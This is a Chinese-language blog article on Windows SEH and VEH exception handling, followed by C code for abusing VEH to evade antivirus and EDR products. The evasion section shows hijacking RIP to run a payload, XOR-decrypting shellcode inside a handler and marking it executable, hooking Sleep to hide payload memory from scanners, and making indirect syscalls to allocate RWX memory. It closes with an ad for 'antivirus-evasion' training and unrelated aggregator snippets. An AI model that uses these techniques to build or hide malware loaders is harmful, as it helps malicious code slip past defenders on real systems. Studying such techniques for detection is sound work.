从安全角度看 SEH 和 VEH

从安全角度看 SEH 和 VEH

异常处理程序是处理程序中不可预见的错误的基本方法之一

  • https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/

SEH——结构化异常处理程序

就其工作方式而言,异常处理程序与其他处理程序相比相当基础,有一个 try 块用于包装不安全代码,还有一个 except 块用于在生成特定异常时进行处理。

在下面的代码中示例中,可以通过将 0 作为第二个输入来生成异常,因为除以零是系统生成的异常。这被包装在try块中,过滤器代码会检查这是什么类型的异常,在这种情况下,如果是,EXCEPTION_INT_DIVIDE_BY_ZERO将继续处理包装在except块中的异常。

int main()
{__try{int inp1 = 0, inp2 = 0;printf("第一个输入: ");scanf_s("%d", &inp1);printf("第二个输入: ");scanf_s("%d", &inp2);int result = inp1 / inp2;printf("结果: %d", result);}__except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH){printf("触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n");}return 0;
}

从编译时开始。编译器生成有关异常的所有必要信息,异常类型,过滤器的位置和处理它的最终代码等,最后将它们内嵌到PE文件的异常框架中

VEH——向量异常处理程序

向量异常处理是结构化异常处理的扩展,这些处理程序使用回调函数机制工作。每当发生异常时,就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler在程序中的任何位置注册回调。

需要注意的是,VEH 异常处理程序是全局注册的,并不与单个函数或单个堆栈框架绑定。由于向后兼容,系统首先调用所有 VEH 处理程序,如果所有处理程序均未执行该处理程序,则将其传递给 SEH。此外,VEH 以循环链接列表的形式实现。

PVOID AddVectoredExceptionHandler(
ULONG                       First,
PVECTORED_EXCEPTION_HANDLER Handler
);

winAPI 有两个参数,

  • 第一个参数定义处理函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处理程序。

  • 第二个参数是要注册的回调函数的指针。

回调函数定义如下

PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)

第一个参数中指向结构的指针定义如下

typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT         ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

该结构包含两个主要成员:

结构体中的第一个指针指向结构体EXCEPTION_RECORD 里面包含定义的异常的详细信息

ExceptionRecord定义如下:

typedef struct _EXCEPTION_RECORD {
DWORD                   ExceptionCode;
DWORD                   ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID                   ExceptionAddress;
DWORD                   NumberParameters;
ULONG_PTR               ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

第一个元素是最常用的,它包含产生了什么类型的异常,例如STATUS_INTEGER_DIVISION_BY_ZERO

第二个指针指向结构CONTEXT,其中包含异常发生时CPU上下文的所有细节。这个结构非常重要,因为它可以允许读取和写回数据,一旦执行恢复,这些数据将直接在CPU上应用。这是因为当异常处理程序完成其执行时,系统将根据返回值继续搜索异常或继续执行进程。

当系统继续执行进程时,它调用RtlRestoreContext winAPI来恢复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的,安全产品通常不会检测到这种CPU状态覆盖。

VEH 的使用非常简单:

注册一个名为VEHHandler()的处理程序,它将成为VEH异常列表中的全局处理程序。这个处理程序负责检查发生的异常是否是想要的异常。

LONG WINAPI VEHHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {printf("触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n");}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler);int inp1 = 0, inp2 = 0;printf("第一个输入: ");scanf_s("%d", &inp1);printf("第二个输入: ");scanf_s("%d", &inp2);int result = inp1 / inp2;printf("结果: %d", result);RemoveVectoredExceptionHandler(h1);return 0;
}

与SEH不同,VEH可以被认为是一种运行时机制,因为处理程序是在运行时过程中的任何地方注册和删除的。

异常处理技术在绕过防护机制中的应用

执行payload

由于可以访问 context 结构,所以可以直接修改 RIP 寄存器的内容以指向想要的任何位置,这意味着可以进行间接调用。

void myFunction() {
//payload..........printf("[*] myFunction() Called\n");
}LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {ULONG64 Offset = 0x1000;HMODULE BaseAddress = GetModuleHandleA(NULL);printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress);ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset;printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress);ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress;}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, testHandler);int inp1 = 0, inp2 = 0;int result = inp1 / inp2;RemoveVectoredExceptionHandler(h1);return 0;
}
运行时代码解密+规避内存扫描

使用异常EXCEPTION_ACCESS_VIOLATION,该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中,全局变量不是可执行内存区域,所以可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。

#define XOR_KEY 0x66char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................";LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {printf("[*] 进入异常处理\n");DWORD flOldProtect;for (int i = 0; i < sizeof(enc_shellcode); i++) {encode_shellcode[i] ^= XOR_KEY;}BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect);if (res == TRUE) {printf("[*] 执行权限改为 PAGE_EXECUTE\n");}}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, testHandler);(*(void (*)()) & encode_shellcode)();RemoveVectoredExceptionHandler(h1);return 0;
}

然后再Hook Sleep函数,将功能模块的内存属性改为不可执行,便可规避后续的内存扫描。

static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewCustomSleep(DWORD dwMilliseconds) {if (CustomFlag){VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);CustomFlag = false;}printf("custom sleep time:%d\n", dwMilliseconds);unhookCustomSleep();OrigSleep(dwMilliseconds);hookCustomSleep();
}
void hookCustomSleep() {DWORD dwOldProtect = NULL;BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 };RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset));VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}
void unhookCustomSleep() {DWORD dwOldProtect = NULL;VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
}

运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘,可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现,读者可以尝试

间接系统调用

与上面提到的可能性类似,也可以修改RIP,用ntdll.dll库中的地址覆盖它,以执行间接的系统调用。

系统调用由寄存器 RAX 控制,其中包含称为 SSN(系统服务编号)

HOOK技术是AV/EDR常用的检测机制,尽管使用syscall可以绕过检测,但这导致了另一种可能的检测机制。在自己的程序中使用系统调用称为直接系统调用技术,而从其他进程(如库本身)调用系统调用称为间接系统调用技术。

当在自己的程序中使用系统调用时,通常可以通过简单的签名被检测到(通过检查系统调用的来源),系统调用的返回地址应该是通过合法的源(如ntdll.dll本身)发生的,但是如果不是这样,它就会发出一个主要的危险信号。这是可以避免的,可以使用向量异常处理进行间接系统调用,这种技术提供了一个看起来非常合法的调用堆栈。这有助于大大降低被发现的可能性

最简单的方法是利用异常STATUS_ACCESS_VIOLATION,该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中,在本例中是0x18,它对应于系统调用ntallocatvirtualmemory,然后将其转换为函数并调用它。本质上,它调用地址0x18的函数,这显然不是一个有效的地址。这反过来会生成STATUS_ACCESS_VIOLATION异常。现在要将参数传递给函数,只需像调用其他函数一样调用存储SSN的变量,上下文将包含传递的参数。

一旦生成异常,就可以模拟系统调用指令,就像在ntdll.dll中找到它一样,并将控制流更改为dll中的系统调用地址。

typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (IN HANDLE               ProcessHandle,IN OUT PVOID*           BaseAddress,IN ULONG               ZeroBits,IN OUT PULONG           RegionSize,IN ULONG               AllocationType,IN ULONG               Protect);ULONG_PTR FindSyscallAddr() {FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");BYTE* ptr_sysaddr = (BYTE*)(fnDrawText);BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 };int cnt_sig = 0, cnt_fn = 0;while (TRUE) {if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) {cnt_fn++;cnt_sig++;if (cnt_sig == sizeof(sig_syscall)) {ptr_sysaddr += cnt_fn - sizeof(sig_syscall);break;}}else {cnt_fn = cnt_fn - cnt_sig + 1;cnt_sig = 0;}}return (ULONG_PTR)ptr_sysaddr;
}LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;DWORD64 ssn = ExceptionInfo->ContextRecord->Rip;printf("[*] Syscall Number: %#x\n", (INT32)ssn);ExceptionInfo->ContextRecord->Rax = ssn;ULONG_PTR SyscallAddr = FindSyscallAddr();ExceptionInfo->ContextRecord->Rip = SyscallAddr;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}int main()
{PVOID h1 = AddVectoredExceptionHandler(1, testHandler);pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18;PVOID retAddr = NULL;ULONG size = 0x1000;NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (retAddr == NULL) {printf("[!] NtAllocateVirtualMemory Failed\n");}else {printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr);}RemoveVectoredExceptionHandler(h1);return 0;
}

大家伙,如果想学习更多的知识,可以看我们的论坛:
 哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890860.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nexus docker安装

#nexus docker 安装 docker pull sonatype/nexus3 mkdir -p /data/nexus-data docker run -itd -p 8081:8081 --privilegedtrue --name nexus3 \ -v /data/nexus-data:/var/nexus-data --restartalways docker.io/sonatype/nexus3 #访问 http://192.168.31.109:8081/ 用户名&am…

Spark生态圈

Spark 主要用于替代Hadoop中的 MapReduce 计算模型。存储依然可以使用 HDFS&#xff0c;但是中间结果可以存放在内存中&#xff1b;调度可以使用 Spark 内置的&#xff0c;也可以使用更成熟的调度系统 YARN 等。 Spark有完善的生态圈&#xff1a; Spark Core&#xff1a;实现了…

CSS---实现盒元素div内input/textarea的focus状态时给父元素加属性!

注意兼容性&#xff0c;低版本浏览器无效 要实现当 textarea 文本框获得焦点时&#xff0c;自动给其父元素添加类名或样式&#xff0c;您可以使用 CSS 的 :focus-within 伪类选择器。这个选择器会在元素本身或其任何子元素获得焦点时应用样式。 示例代码 假设您有以下 HTML 结…

2011-2020年各省城镇职工基本医疗保险年末参保人数数据

2011-2020年各省城镇职工基本医疗保险年末参保人数数据 1、时间&#xff1a;2011-2020年 2、来源&#xff1a;国家统计局 3、指标&#xff1a;省份、时间、城镇职工基本医疗保险年末参保人数 4、范围&#xff1a;31省 5、指标解释&#xff1a;参保人数指报告期末按国家有关…

Bert中文文本分类

这是一个经典的文本分类问题&#xff0c;使用google的预训练模型BERT中文版bert-base-chinese来做中文文本分类。可以先在Huggingface上下载预训练模型备用。https://huggingface.co/google-bert/bert-base-chinese/tree/main 我使用的训练环境是 pip install torch2.0.0; pi…

【无标题】学生信息管理系统界面

网页是vue框架&#xff0c;后端直接python写的没使用框架

macos安装maven以及.bash_profile文件优化

文章目录 下载和安装maven本地仓库配置国内镜像仓库配置.bash_profile文件优化 下载和安装maven maven下载地址 存放在/Library/Java/env/maven目录 本地仓库配置 在maven-3.9.9目录下创建maven-repo目录作为本地文件仓库打开setting配置文件 在setting标签下&#xff0c;添…

用Excel表格在线发布期末考试成绩单

每到期末&#xff0c;发布学生的期末考试成绩单便是老师们的一项重要任务。以往&#xff0c;传统的纸质成绩单分发效率低还易出错&#xff0c;而借助 Excel 表格在线发布&#xff0c;则开启了全新高效模式。 老师们先是精心整理各科成绩&#xff0c;录入精准无误的分数到 Excel…

WPF 绘制过顶点的圆滑曲线(样条,贝塞尔)

项目中要用到样条曲线&#xff0c;必须过顶点&#xff0c;圆滑后还不能太走样&#xff0c;捣鼓一番&#xff0c;发现里面颇有玄机&#xff0c;于是把我多方抄来改造的方法发出来&#xff0c;方便新手&#xff1a; 如上图&#xff0c;看代码吧&#xff1a; -------------------…

python监控数据处理应用服务Socket心跳解决方案

1. 概述 从网页、手机App上抓取数据应用服务&#xff0c;涉及到多个系统集成协同工作&#xff0c;依赖工具较多。例如&#xff0c;使用Frida进行代码注入和动态分析&#xff0c;以实现对网络通信的监控和数据捕获。在这样的集成环境中&#xff0c;手机模拟器、手机中应用、消息…

商品线上个性定制,并实时预览3D定制效果,是如何实现的?

商品线上3D个性化定制的实现涉及多个环节和技术&#xff0c;以下是详细的解释&#xff1a; 一、实现流程 产品3D建模&#xff1a; 是实现3D可视化定制的前提&#xff0c;需要对产品进行三维建模。可通过三维扫描仪或建模师进行建模&#xff0c;将产品的外观、结构、材质等细…

Python PyMupdf 去除PDF文档中Watermark标识水印

通过PDF阅读或编辑工具&#xff0c;可在PDF中加入Watermark标识的PDF水印&#xff0c;如下图&#xff1a; 该类水印特点 这类型的水印&#xff0c;会在文件的字节流中出现/Watermark、EMC等标识&#xff0c;那么&#xff0c;我们可以通过改变文件字节内容&#xff0c;清理掉…

旧衣回收小程序开发,绿色生活,便捷回收

随着绿色生活、资源回收利用理念的影响&#xff0c;人们逐渐开始关注旧衣回收&#xff0c;选择将断舍离等闲置衣物进行回收&#xff0c;在资源回收的同时也能够减少资金浪费。目前&#xff0c;旧衣回收的方式也迎来了数字化发展&#xff0c;相比传统的回收方式更加便捷&#xf…

Bluetooth Spec【0】蓝牙核心架构

蓝牙核心系统由一个主机、一个主控制器和零个或多个辅助控制器组成蓝牙BR/ EDR核心系统的最小实现包括了由蓝牙规范定义的四个最低层和相关协议&#xff0c;以及一个公共服务层协议&#xff1b;服务发现协议&#xff08;SDP&#xff09;和总体配置文件要求在通用访问配置文件&a…

vulnhub靶场-matrix-breakout-2-morpheus攻略(截止至获取shell)

扫描出ip为192.168.121.161 访问该ip&#xff0c;发现只是一个静态页面什么也没有 使用dir dirsearch 御剑都只能扫描到/robots.txt /server-status 两个页面&#xff0c;前者提示我们什么也没有&#xff0c;后面两个没有权限访问 扫描端口&#xff0c;存在81端口 访问&#x…

Java - 日志体系_Apache Commons Logging(JCL)日志接口库

文章目录 官网1. 什么是JCL&#xff1f;2. JCL的主要特点3. JCL的核心组件4. JCL的实现机制5. SimpleLog 简介6. CodeExample 1 &#xff1a; 默认日志实现 (JCL 1.3.2版本)Example 2 &#xff1a; JCL (1.2版本&#xff09; Log4J 【安全风险高&#xff0c;请勿使用】 7. 使用…

C++-----------映射

探索 C 中的映射与查找表 在 C 编程中&#xff0c;映射&#xff08;Map&#xff09;和查找表&#xff08;Lookup Table&#xff09;是非常重要的数据结构&#xff0c;它们能够高效地存储和检索数据&#xff0c;帮助我们解决各种实际问题。今天&#xff0c;我们就来深入探讨一下…

免费 IP 归属地接口

免费GEOIP&#xff0c;查询IP信息&#xff0c;支持IPV4 IPV6 ,包含国家地理位置&#xff0c;维度&#xff0c;asm,邮编 等&#xff0c;例如 例如查询1.1.1.1 http://geoip.91hu.top/?ip1.1.1.1 返回json 对象

Linux应用软件编程-多任务处理(进程)

多任务&#xff1a;让系统具备同时处理多个事件的能力。让系统具备并发性能。方法&#xff1a;进程和线程。这里先讲进程。 进程&#xff08;process&#xff09;&#xff1a;正在执行的程序&#xff0c;执行过程中需要消耗内存和CPU。 进程的创建&#xff1a;操作系统在进程创…

认识计算机网络

单单看这一个词语&#xff0c;有熟悉又陌生&#xff0c;让我们来重新认识一下这位大角色——计算机网络。 一、是什么 以及 怎么来的 计算机网络是指将地理位置不同的具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路和通信设备连接起来&#xff0c;在网络操作…